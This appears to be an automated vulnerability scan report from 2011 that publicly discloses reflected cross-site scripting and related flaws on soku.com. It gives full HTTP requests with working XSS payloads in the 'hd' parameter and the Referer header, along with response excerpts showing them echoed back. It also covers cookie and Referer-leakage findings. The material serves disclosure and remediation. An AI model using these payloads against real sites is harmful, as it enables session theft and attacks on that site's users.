XSS, Reflected Cross Site Scripting, CWE-79, CAPEC-86, DORK, GHDB, soku.com

Report generated by XSS.CX at Fri Aug 19 11:49:50 GMT-06:00 2011.

Public Domain Vulnerability Information, Security Articles, Vulnerability Reports, GHDB, DORK Search

XSS Home | XSS Crawler | SQLi Crawler | HTTPi Crawler | FI Crawler |

Loading

1. Cross-site scripting (reflected)

XSS in soku.com, XSS, DORK, GHDB, Cross Site Scripting, CWE-79, CAPEC-86

1.1. http://www.soku.com/v [hd parameter]

1.2. http://www.soku.com/v [hd parameter]

1.3. http://www.soku.com/v [Referer HTTP header]

2. Cookie without HttpOnly flag set

3. Cross-domain Referer leakage

3.1. http://www.soku.com/v

3.2. http://www.soku.com/v

3.3. http://www.soku.com/v

3.4. http://www.soku.com/v

4. Cross-domain script include

4.1. http://www.soku.com/

4.2. http://www.soku.com/v

5. Content type incorrectly stated



1. Cross-site scripting (reflected)  next
There are 3 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Issue remediation

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.


1.1. http://www.soku.com/v [hd parameter]  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.soku.com
Path:   /v

Issue detail

The value of the hd request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload dd569"><script>alert(1)</script>992396d4f01 was submitted in the hd parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /v?keyword=xss&hd=dd569"><script>alert(1)</script>992396d4f01 HTTP/1.1
Host: www.soku.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=abc6uANyw6k2q4PROiJht

Response

HTTP/1.0 200 OK
Server: soku server132
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 53574
Date: Fri, 19 Aug 2011 17:45:48 GMT
Connection: keep-alive


<!DOCTYPE HTML>
<html><head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>xss ......-............</title>
<link type="text/css" rel="stylesh
...[SNIP]...
<a href="/v?keyword=xss&hd=dd569"><script>alert(1)</script>992396d4f01&time_length=0" target="_self">
...[SNIP]...

1.2. http://www.soku.com/v [hd parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.soku.com
Path:   /v

Issue detail

The value of the hd request parameter is copied into the name of an HTML tag. The payload fa769><script>alert(1)</script>bc705f85e41 was submitted in the hd parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /v?keyword=xss&hd=%22%3E%3CSCRIPT%3Edocument.title=1313775822796041%3C/SCRIPT%3E%3C%22fa769><script>alert(1)</script>bc705f85e41 HTTP/1.1
Host: www.soku.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=abc6uANyw6k2q4PROiJht

Response

HTTP/1.0 200 OK
Server: soku server132
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 54543
Date: Fri, 19 Aug 2011 17:45:45 GMT
Connection: keep-alive


<!DOCTYPE HTML>
<html><head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>xss ......-............</title>
<link type="text/css" rel="stylesh
...[SNIP]...
<"fa769><script>alert(1)</script>bc705f85e41&time_length=0" target="_self">
...[SNIP]...

1.3. http://www.soku.com/v [Referer HTTP header]  previous  next

Summary

Severity:   Low
Confidence:   Certain
Host:   http://www.soku.com
Path:   /v

Issue detail

The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload f114e"-alert(1)-"319ad3d3a0a was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /v?keyword=xss HTTP/1.1
Host: www.soku.com
Proxy-Connection: keep-alive
Referer: http://www.google.com/search?hl=en&q=f114e"-alert(1)-"319ad3d3a0a
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.0 200 OK
Server: soku server132
Vary: Accept-Encoding
Content-Type: text/html; charset=utf-8
Content-Length: 52697
Date: Fri, 19 Aug 2011 17:42:55 GMT
Connection: keep-alive


<!DOCTYPE HTML>
<html><head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>xss ......-............</title>
<link type="text/css" rel="stylesh
...[SNIP]...
<input type="hidden" name="source" id="source" value="http://www.google.com/search?hl=en&q=f114e"-alert(1)-"319ad3d3a0a"/>
...[SNIP]...

2. Cookie without HttpOnly flag set  previous  next

Summary

Severity:   Low
Confidence:   Firm
Host:   http://www.soku.com
Path:   /N

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Issue background

If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.

Issue remediation

There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.

You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.

Request

GET /N HTTP/1.1
Accept: */*
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E; InfoPath.3)
Proxy-Connection: Keep-Alive
Host: www.soku.com

Response

HTTP/1.0 404 Not Found
Server: soku server132
Set-Cookie: JSESSIONID=abcbRX79vDfJUe2cLjJht; path=/
Content-Type: text/html; charset=utf-8
Date: Fri, 19 Aug 2011 17:46:04 GMT
Content-Length: 2958
Connection: keep-alive


<!DOCTYPE HTML>
<html><head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>........................... ...... ............</title>
<link type="text/css" rel="style
...[SNIP]...

3. Cross-domain Referer leakage  previous  next
There are 4 instances of this issue:

Issue background

When a web browser makes a request for a resource, it typically adds an HTTP header, called the "Referer" header, indicating the URL of the resource from which the request originated. This occurs in numerous situations, for example when a web page loads an image or script, or when a user clicks on a link or submits a form.

If the resource being requested resides on a different domain, then the Referer header is still generally included in the cross-domain request. If the originating URL contains any sensitive information within its query string, such as a session token, then this information will be transmitted to the other domain. If the other domain is not fully trusted by the application, then this may lead to a security compromise.

You should review the contents of the information being transmitted to other domains, and also determine whether those domains are fully trusted by the originating application.

Today's browsers may withhold the Referer header in some situations (for example, when loading a non-HTTPS resource from a page that was loaded over HTTPS, or when a Refresh directive is issued), but this behaviour should not be relied upon to protect the originating URL from disclosure.

Note also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.

Issue remediation

The application should never transmit any sensitive information within the URL query string. In addition to being leaked in the Referer header, such information may be logged in various locations and may be visible on-screen to untrusted parties.


3.1. http://www.soku.com/v  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.soku.com
Path:   /v

Issue detail

The page was loaded from a URL containing a query string:The response contains the following links to other domains:

Request

GET /v?keyword=xss&hd=%22%3E%3CSCRIPT%3Ealert(document.location)%3C/SCRIPT%3E%3C%22 HTTP/1.1
Host: www.soku.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Cookie: JSESSIONID=abcmQGxME66Z4dZ4yjJht

Response

HTTP/1.0 200 OK
Server: soku server132
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 53612
Date: Fri, 19 Aug 2011 17:46:45 GMT
Connection: keep-alive


<!DOCTYPE HTML>
<html><head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>xss ......-............</title>
<link type="text/css" rel="stylesh
...[SNIP]...
<div class="sobrand"><a href="http://www.youku.com" target="_blank"><span class="logoyouku_sl">
...[SNIP]...
<br /><a href="http://www.youku.com/youku/help/question_play.shtml#java" target="_blank">...............</a>
...[SNIP]...
<li class='part_link'><a target='_blank' href='http://v.youku.com/v_show/id_XMjYyMjE2NjE2.html?firsttime=11'></a>
...[SNIP]...
<li class='part_link'><a target='_blank' href='http://v.youku.com/v_show/id_XMjYyMjE2NjE2.html?firsttime=22'></a>
...[SNIP]...
<li class='part_link'><a target='_blank' href='http://v.youku.com/v_show/id_XMjYyMjE2NjE2.html?firsttime=34'></a>
...[SNIP]...
<li class='part_link'><a target='_blank' href='http://v.youku.com/v_show/id_XMjYyMjE2NjE2.html?firsttime=45'></a>
...[SNIP]...
<li class='part_link'><a target='_blank' href='http://v.youku.com/v_show/id_XMjYyMjE2NjE2.html?firsttime=57'></a>
...[SNIP]...
<li class='part_link'><a target='_blank' href='http://v.youku.com/v_show/id_XMjYyMjE2NjE2.html?firsttime=68'></a>
...[SNIP]...
<li class="v_link"><a title="...............458" target="_blank" href="http://v.youku.com/v_show/id_XMjYyMjE2NjE2.html" onclick="sokuClickStat(this, true);" _log_type="3" _log_pos="1"></a></li>
               <li class="v_thumb"><img alt="...............458" src="http://g2.ykimg.com/0100641F464DB7A2549E4E052E24FA859D7041-B8E3-4A3B-A224-41872BC9728A" ></li>
...[SNIP]...
<li class="v_title"><a title="...............458" target="_blank" href="http://v.youku.com/v_show/id_XMjYyMjE2NjE2.html" onclick="sokuClickStat(this, true);" _log_type="3" _log_pos="1" >...............458</a>
...[SNIP]...
<li class='part_link'><a target='_blank' href='http://v.youku.com/v_show/id_XMjAxMzE2MDA=.html?firsttime=36'></a>
...[SNIP]...
<li class='part_link'><a target='_blank' href='http://v.youku.com/v_show/id_XMjAxMzE2MDA=.html?firsttime=73'></a>
...[SNIP]...
<li class='part_link'><a target='_blank' href='http://v.youku.com/v_show/id_XMjAxMzE2MDA=.html?firsttime=109'></a>
...[SNIP]...
<li class='part_link'><a target='_blank' href='http://v.youku.com/v_show/id_XMjAxMzE2MDA=.html?firsttime=146'></a>
...[SNIP]...
<li class='part_link'><a target='_blank' href='http://v.youku.com/v_show/id_XMjAxMzE2MDA=.html?firsttime=182'></a>
...[SNIP]...
<li class='part_link'><a target='_blank' href='http://v.youku.com/v_show/id_XMjAxMzE2MDA=.html?firsttime=219'></a>
...[SNIP]...
<li class="v_link"><a title="xss...... ........." target="_blank" href="http://v.youku.com/v_show/id_XMjAxMzE2MDA=.html" onclick="sokuClickStat(this, true);" _log_type="3" _log_pos="2"></a></li>
               <li class="v_thumb"><img alt="xss...... ........." src="http://g3.ykimg.com/0100011F464767580FEA100055D974EDB4E283-2614-AF59-0A0F-F8CF3BB2CEAF" ></li>
...[SNIP]...
<li class="v_title"><a title="xss...... ........." target="_blank" href="http://v.youku.com/v_show/id_XMjAxMzE2MDA=.html" onclick="sokuClickStat(this, true);" _log_type="3" _log_pos="2" ><span class="highlight">
...[SNIP]...
<li class='part_link'><a target='_blank' href='http://v.youku.com/v_show/id_XMjM0MzY1NDA4.html?firsttime=19'></a>
...[SNIP]...
<li class='part_link'><a target='_blank' href='http://v.youku.com/v_show/id_XMjM0MzY1NDA4.html?firsttime=38'></a>
...[SNIP]...
<li class='part_link'><a target='_blank' href='http://v.youku.com/v_show/id_XMjM0MzY1NDA4.html?firsttime=57'></a>
...[SNIP]...
<li class='part_link'><a target='_blank' href='http://v.youku.com/v_show/id_XMjM0MzY1NDA4.html?firsttime=76'></a>
...[SNIP]...
<li class='part_link'><a target='_blank' href='http://v.youku.com/v_show/id_XMjM0MzY1NDA4.html?firsttime=96'></a>
...[SNIP]...
<li class='part_link'><a target='_blank' href='http://v.youku.com/v_show/id_XMjM0MzY1NDA4.html?firsttime=115'></a>
...[SNIP]...
<li class="v_link"><a title="XSS Shell Demo" target="_blank" href="http://v.youku.com/v_show/id_XMjM0MzY1NDA4.html" onclick="sokuClickStat(this, true);" _log_type="3" _log_pos="3"></a></li>
               <li class="v_thumb"><img alt="XSS Shell Demo" src="http://g3.ykimg.com/0100641F464D21A3D1C47304DE8530BC4B887C-8F64-3ACF-49D0-4A72FD69020E" ></li>
...[SNIP]...
<li class="v_title"><a title="XSS Shell Demo" target="_blank" href="http://v.youku.com/v_show/id_XMjM0MzY1NDA4.html" onclick="sokuClickStat(this, true);" _log_type="3" _log_pos="3" ><span class="highlight">
...[SNIP]...
<li class='part_link'><a target='_blank' href='http://v.youku.com/v_show/id_XMjQ1MzM0ODQ0.html?firsttime=13'></a>
...[SNIP]...
<li class='part_link'><a target='_blank' href='http://v.youku.com/v_show/id_XMjQ1MzM0ODQ0.html?firsttime=27'></a>
...[SNIP]...
<li class='part_link'><a target='_blank' href='http://v.youku.com/v_show/id_XMjQ1MzM0ODQ0.html?firsttime=41'></a>
...[SNIP]...
<li class='part_link'><a target='_blank' href='http://v.youku.com/v_show/id_XMjQ1MzM0ODQ0.html?firsttime=55'></a>
...[SNIP]...
<li class='part_link'><a target='_blank' href='http://v.youku.com/v_show/id_XMjQ1MzM0ODQ0.html?firsttime=69'></a>
...[SNIP]...
<li class='part_link'><a target='_blank' href='http://v.youku.com/v_show/id_XMjQ1MzM0ODQ0.html?firsttime=82'></a>
...[SNIP]...
<li class="v_link"><a title="4.6XSS ......3.........." target="_blank" href="http://v.youku.com/v_show/id_XMjQ1MzM0ODQ0.html" onclick="sokuClickStat(this, true);" _log_type="3" _log_pos="4"></a></li>
               <li class="v_thumb"><img alt="4.6XSS ......3.........." src="http://g2.ykimg.com/0100641F464D612B0ED8B604E4E2F9D52B19C1-F011-44DF-6762-BB54C7082CB5" ></li>
...[SNIP]...
<li class="v_title"><a title="4.6XSS ......3.........." target="_blank" href="http://v.youku.com/v_show/id_XMjQ1MzM0ODQ0.html" onclick="sokuClickStat(this, true);" _log_type="3" _log_pos="4" >4.6<span class="highlight">
...[SNIP]...
<li class='part_link'><a target='_blank' href='http://v.youku.com/v_show/id_XMjc5Nzg5ODc2.html?firsttime=24'></a>
...[SNIP]...
<li class='part_link'><a target='_blank' href='http://v.youku.com/v_show/id_XMjc5Nzg5ODc2.html?firsttime=49'></a>
...[SNIP]...
<li class='part_link'><a target='_blank' href='http://v.youku.com/v_show/id_XMjc5Nzg5ODc2.html?firsttime=74'></a>
...[SNIP]...
<li class='part_link'><a target='_blank' href='http://v.youku.com/v_show/id_XMjc5Nzg5ODc2.html?firsttime=99'></a>
...[SNIP]...
<li class='part_link'><a target='_blank' href='http://v.youku.com/v_show/id_XMjc5Nzg5ODc2.html?firsttime=124'></a>
...[SNIP]...
<li class='part_link'><a target='_blank' href='http://v.youku.com/v_show/id_XMjc5Nzg5ODc2.html?firsttime=149'></a>
...[SNIP]...
<li class="v_link"><a title="Konakart 2.2.6.0 stored XSS explitation with BeEF" target="_blank" href="http://v.youku.com/v_show/id_XMjc5Nzg5ODc2.html" onclick="sokuClickStat(this, true);" _log_type="3" _log_pos="5"></a></li>
               <li class="v_thumb"><img alt="Konakart 2.2.6.0 stored XSS explitation with BeEF" src="http://g3.ykimg.com/0100641F464E07AF1EEF1F054E844A654A42C3-79BC-5660-7D40-49AFECAB39C6" ></li>
...[SNIP]...
<li class="v_title"><a title="Konakart 2.2.6.0 stored XSS explitation with BeEF" target="_blank" href="http://v.youku.com/v_show/id_XMjc5Nzg5ODc2.html" onclick="sokuClickStat(this, true);" _log_type="3" _log_pos="5" >Konakart 2.2.6.0 stored <span class="highlight">
...[SNIP]...
<li class="v_link"><a title="......028" target="_blank" href="http://v.blog.sohu.com/u/vw/1740891" onclick="sokuClickStat(this, true);" _log_type="3" _log_pos="6"></a></li>
               <li class="v_thumb"><img alt="......028" src="http://g2.ykimg.com/0900641F4649C55F2300000000000000000000-0000-0000-0000-000017CA8E26" ></li>
...[SNIP]...
<li class="v_title"><a title="......028" target="_blank" href="http://v.blog.sohu.com/u/vw/1740891" onclick="sokuClickStat(this, true);" _log_type="3" _log_pos="6" >......028</a>
...[SNIP]...
<li class='part_link'><a target='_blank' href='http://v.youku.com/v_show/id_XMTI4NTg1MjU2.html?firsttime=165'></a>
...[SNIP]...
<li class='part_link'><a target='_blank' href='http://v.youku.com/v_show/id_XMTI4NTg1MjU2.html?firsttime=330'></a>
...[SNIP]...
<li class='part_link'><a target='_blank' href='http://v.youku.com/v_show/id_XMTI4NTg1MjU2.html?firsttime=495'></a>
...[SNIP]...
<li class='part_link'><a target='_blank' href='http://v.youku.com/v_show/id_XMTI4NTg1MjU2.html?firsttime=660'></a>
...[SNIP]...
<li class='part_link'><a target='_blank' href='http://v.youku.com/v_show/id_XMTI4NTg1MjU2.html?firsttime=825'></a>
...[SNIP]...
<li class='part_link'><a target='_blank' href='http://v.youku.com/v_show/id_XMTI4NTg1MjU2.html?firsttime=990'></a>
...[SNIP]...
<li class="v_link"><a title="<script>alert(xss)<script>" target="_blank" href="http://v.youku.com/v_show/id_XMTI4NTg1MjU2.html" onclick="sokuClickStat(this, true);" _log_type="3" _log_pos="7"></a></li>
               <li class="v_thumb"><img alt="<script>alert(xss)<script>" src="http://g1.ykimg.com/0100011F4648886DB69E0D00DB5F226061289C-AFCD-A21C-E901-AD280BC25DAE" ></li>
...[SNIP]...
<li class="v_title"><a title="<script>alert(xss)<script>" target="_blank" href="http://v.youku.com/v_show/id_XMTI4NTg1MjU2.html" onclick="sokuClickStat(this, true);" _log_type="3" _log_pos="7" ><script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://lstat.youku.com/urchin.js"></script>
...[SNIP]...

3.2. http://www.soku.com/v  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.soku.com
Path:   /v

Issue detail

The page was loaded from a URL containing a query string:The response contains the following links to other domains:

Request

GET /v?keyword=xss&hd=%22%3E%3CSCRIPT%3Edocument.title=1313775822796041%3C/SCRIPT%3E%3C%22 HTTP/1.1
Host: www.soku.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: JSESSIONID=abc6uANyw6k2q4PROiJht

Response

HTTP/1.0 200 OK
Server: soku server132
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 53745
Date: Fri, 19 Aug 2011 17:44:45 GMT
Connection: keep-alive


<!DOCTYPE HTML>
<html><head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>xss ......-............</title>
<link type="text/css" rel="stylesh
...[SNIP]...
<div class="sobrand"><a href="http://www.youku.com" target="_blank"><span class="logoyouku_sl">
...[SNIP]...
<br /><a href="http://www.youku.com/youku/help/question_play.shtml#java" target="_blank">...............</a>
...[SNIP]...
<li class='part_link'><a target='_blank' href='http://v.youku.com/v_show/id_XMjYyMjE2NjE2.html?firsttime=11'></a>
...[SNIP]...
<li class='part_link'><a target='_blank' href='http://v.youku.com/v_show/id_XMjYyMjE2NjE2.html?firsttime=22'></a>
...[SNIP]...
<li class='part_link'><a target='_blank' href='http://v.youku.com/v_show/id_XMjYyMjE2NjE2.html?firsttime=34'></a>
...[SNIP]...
<li class='part_link'><a target='_blank' href='http://v.youku.com/v_show/id_XMjYyMjE2NjE2.html?firsttime=45'></a>
...[SNIP]...
<li class='part_link'><a target='_blank' href='http://v.youku.com/v_show/id_XMjYyMjE2NjE2.html?firsttime=57'></a>
...[SNIP]...
<li class='part_link'><a target='_blank' href='http://v.youku.com/v_show/id_XMjYyMjE2NjE2.html?firsttime=68'></a>
...[SNIP]...
<li class="v_link"><a title="...............458" target="_blank" href="http://v.youku.com/v_show/id_XMjYyMjE2NjE2.html" onclick="sokuClickStat(this, true);" _log_type="3" _log_pos="1"></a></li>
               <li class="v_thumb"><img alt="...............458" src="http://g2.ykimg.com/0100641F464DB7A2549E4E052E24FA859D7041-B8E3-4A3B-A224-41872BC9728A" ></li>
...[SNIP]...
<li class="v_title"><a title="...............458" target="_blank" href="http://v.youku.com/v_show/id_XMjYyMjE2NjE2.html" onclick="sokuClickStat(this, true);" _log_type="3" _log_pos="1" >...............458</a>
...[SNIP]...
<li class='part_link'><a target='_blank' href='http://v.youku.com/v_show/id_XMjAxMzE2MDA=.html?firsttime=36'></a>
...[SNIP]...
<li class='part_link'><a target='_blank' href='http://v.youku.com/v_show/id_XMjAxMzE2MDA=.html?firsttime=73'></a>
...[SNIP]...
<li class='part_link'><a target='_blank' href='http://v.youku.com/v_show/id_XMjAxMzE2MDA=.html?firsttime=109'></a>
...[SNIP]...
<li class='part_link'><a target='_blank' href='http://v.youku.com/v_show/id_XMjAxMzE2MDA=.html?firsttime=146'></a>
...[SNIP]...
<li class='part_link'><a target='_blank' href='http://v.youku.com/v_show/id_XMjAxMzE2MDA=.html?firsttime=182'></a>
...[SNIP]...
<li class='part_link'><a target='_blank' href='http://v.youku.com/v_show/id_XMjAxMzE2MDA=.html?firsttime=219'></a>
...[SNIP]...
<li class="v_link"><a title="xss...... ........." target="_blank" href="http://v.youku.com/v_show/id_XMjAxMzE2MDA=.html" onclick="sokuClickStat(this, true);" _log_type="3" _log_pos="2"></a></li>
               <li class="v_thumb"><img alt="xss...... ........." src="http://g1.ykimg.com/0100011F464767580FEA100055D974EDB4E283-2614-AF59-0A0F-F8CF3BB2CEAF" ></li>
...[SNIP]...
<li class="v_title"><a title="xss...... ........." target="_blank" href="http://v.youku.com/v_show/id_XMjAxMzE2MDA=.html" onclick="sokuClickStat(this, true);" _log_type="3" _log_pos="2" ><span class="highlight">
...[SNIP]...
<li class='part_link'><a target='_blank' href='http://v.youku.com/v_show/id_XMjM0MzY1NDA4.html?firsttime=19'></a>
...[SNIP]...
<li class='part_link'><a target='_blank' href='http://v.youku.com/v_show/id_XMjM0MzY1NDA4.html?firsttime=38'></a>
...[SNIP]...
<li class='part_link'><a target='_blank' href='http://v.youku.com/v_show/id_XMjM0MzY1NDA4.html?firsttime=57'></a>
...[SNIP]...
<li class='part_link'><a target='_blank' href='http://v.youku.com/v_show/id_XMjM0MzY1NDA4.html?firsttime=76'></a>
...[SNIP]...
<li class='part_link'><a target='_blank' href='http://v.youku.com/v_show/id_XMjM0MzY1NDA4.html?firsttime=96'></a>
...[SNIP]...
<li class='part_link'><a target='_blank' href='http://v.youku.com/v_show/id_XMjM0MzY1NDA4.html?firsttime=115'></a>
...[SNIP]...
<li class="v_link"><a title="XSS Shell Demo" target="_blank" href="http://v.youku.com/v_show/id_XMjM0MzY1NDA4.html" onclick="sokuClickStat(this, true);" _log_type="3" _log_pos="3"></a></li>
               <li class="v_thumb"><img alt="XSS Shell Demo" src="http://g3.ykimg.com/0100641F464D21A3D1C47304DE8530BC4B887C-8F64-3ACF-49D0-4A72FD69020E" ></li>
...[SNIP]...
<li class="v_title"><a title="XSS Shell Demo" target="_blank" href="http://v.youku.com/v_show/id_XMjM0MzY1NDA4.html" onclick="sokuClickStat(this, true);" _log_type="3" _log_pos="3" ><span class="highlight">
...[SNIP]...
<li class='part_link'><a target='_blank' href='http://v.youku.com/v_show/id_XMjQ1MzM0ODQ0.html?firsttime=13'></a>
...[SNIP]...
<li class='part_link'><a target='_blank' href='http://v.youku.com/v_show/id_XMjQ1MzM0ODQ0.html?firsttime=27'></a>
...[SNIP]...
<li class='part_link'><a target='_blank' href='http://v.youku.com/v_show/id_XMjQ1MzM0ODQ0.html?firsttime=41'></a>
...[SNIP]...
<li class='part_link'><a target='_blank' href='http://v.youku.com/v_show/id_XMjQ1MzM0ODQ0.html?firsttime=55'></a>
...[SNIP]...
<li class='part_link'><a target='_blank' href='http://v.youku.com/v_show/id_XMjQ1MzM0ODQ0.html?firsttime=69'></a>
...[SNIP]...
<li class='part_link'><a target='_blank' href='http://v.youku.com/v_show/id_XMjQ1MzM0ODQ0.html?firsttime=82'></a>
...[SNIP]...
<li class="v_link"><a title="4.6XSS ......3.........." target="_blank" href="http://v.youku.com/v_show/id_XMjQ1MzM0ODQ0.html" onclick="sokuClickStat(this, true);" _log_type="3" _log_pos="4"></a></li>
               <li class="v_thumb"><img alt="4.6XSS ......3.........." src="http://g1.ykimg.com/0100641F464D612B0ED8B604E4E2F9D52B19C1-F011-44DF-6762-BB54C7082CB5" ></li>
...[SNIP]...
<li class="v_title"><a title="4.6XSS ......3.........." target="_blank" href="http://v.youku.com/v_show/id_XMjQ1MzM0ODQ0.html" onclick="sokuClickStat(this, true);" _log_type="3" _log_pos="4" >4.6<span class="highlight">
...[SNIP]...
<li class='part_link'><a target='_blank' href='http://v.youku.com/v_show/id_XMjc5Nzg5ODc2.html?firsttime=24'></a>
...[SNIP]...
<li class='part_link'><a target='_blank' href='http://v.youku.com/v_show/id_XMjc5Nzg5ODc2.html?firsttime=49'></a>
...[SNIP]...
<li class='part_link'><a target='_blank' href='http://v.youku.com/v_show/id_XMjc5Nzg5ODc2.html?firsttime=74'></a>
...[SNIP]...
<li class='part_link'><a target='_blank' href='http://v.youku.com/v_show/id_XMjc5Nzg5ODc2.html?firsttime=99'></a>
...[SNIP]...
<li class='part_link'><a target='_blank' href='http://v.youku.com/v_show/id_XMjc5Nzg5ODc2.html?firsttime=124'></a>
...[SNIP]...
<li class='part_link'><a target='_blank' href='http://v.youku.com/v_show/id_XMjc5Nzg5ODc2.html?firsttime=149'></a>
...[SNIP]...
<li class="v_link"><a title="Konakart 2.2.6.0 stored XSS explitation with BeEF" target="_blank" href="http://v.youku.com/v_show/id_XMjc5Nzg5ODc2.html" onclick="sokuClickStat(this, true);" _log_type="3" _log_pos="5"></a></li>
               <li class="v_thumb"><img alt="Konakart 2.2.6.0 stored XSS explitation with BeEF" src="http://g3.ykimg.com/0100641F464E07AF1EEF1F054E844A654A42C3-79BC-5660-7D40-49AFECAB39C6" ></li>
...[SNIP]...
<li class="v_title"><a title="Konakart 2.2.6.0 stored XSS explitation with BeEF" target="_blank" href="http://v.youku.com/v_show/id_XMjc5Nzg5ODc2.html" onclick="sokuClickStat(this, true);" _log_type="3" _log_pos="5" >Konakart 2.2.6.0 stored <span class="highlight">
...[SNIP]...
